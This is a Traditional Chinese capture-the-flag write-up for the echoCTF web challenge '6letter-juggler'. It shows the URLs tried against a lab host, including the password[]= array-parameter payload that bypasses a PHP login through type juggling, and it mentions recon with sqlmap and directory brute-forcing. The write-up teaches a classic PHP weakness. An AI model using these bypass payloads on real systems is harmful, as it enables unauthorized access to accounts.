echoCTF - 6letter-juggler writeup (zh-TW)

題目資訊
- 平台: echoCTF
- 分類: Web Security
- 難度: CTF Beginners (510 points)
- 描述: "Try to bypass the authentication screen by either guessing the password (not really) or through some other way..."
- 題目連結: https://echoctf.red/target/52
解題過程
Step 1: 初步分析
訪問網站,發現一個簡單的登入介面,題目名稱 "6letter-juggler" 給了提示:
6letter
- 可能暗示6字母密碼juggler
- 在CTF中通常指 PHP Type Juggling 漏洞
Step 2: 嘗試登入,發現登入請求並觀察URL結構:
http://10.0.41.13:1337/index.php?login=John&password=test
使用GET參數傳遞認證資訊。
Step 3: 嘗試Type Juggling攻擊
PHP弱類型比較可能存在漏洞,嘗試各種payload:
# 嘗試數字型態
http://10.0.41.13:1337/index.php?login=John&password=0
# 嘗試布林值
http://10.0.41.13:1337/index.php?login=John&password=true
# 嘗試NULL
http://10.0.41.13:1337/index.php?login=John&password=null
Step 4: 陣列參數繞過
PHP中當函數期望字串但收到陣列時,可能返回NULL或產生錯誤:
# 傳遞空陣列作為password
http://10.0.41.13:1337/index.php?login=John&password[]=
Step 5: 成功繞過! 使用陣列參數成功繞過認證:
Flag: ETSCTF_REDACTED
學習重點
- 挑戰名稱很重要:
juggler
暗示了 Type Juggling 漏洞 - PHP 弱類型風險:使用
==
而非===
可能導致安全問題 - 陣列參數技巧:
password[]=
是經典的繞過手法
經驗分享
在挑戰這題的時候,也沒有馬上發現可以利用這個漏洞,同樣有先偵查,包括目錄爆破、原始碼檢查,跑過sqlmap,檢查有無目錄遍歷,後來才回來在這個GET URL上動手腳。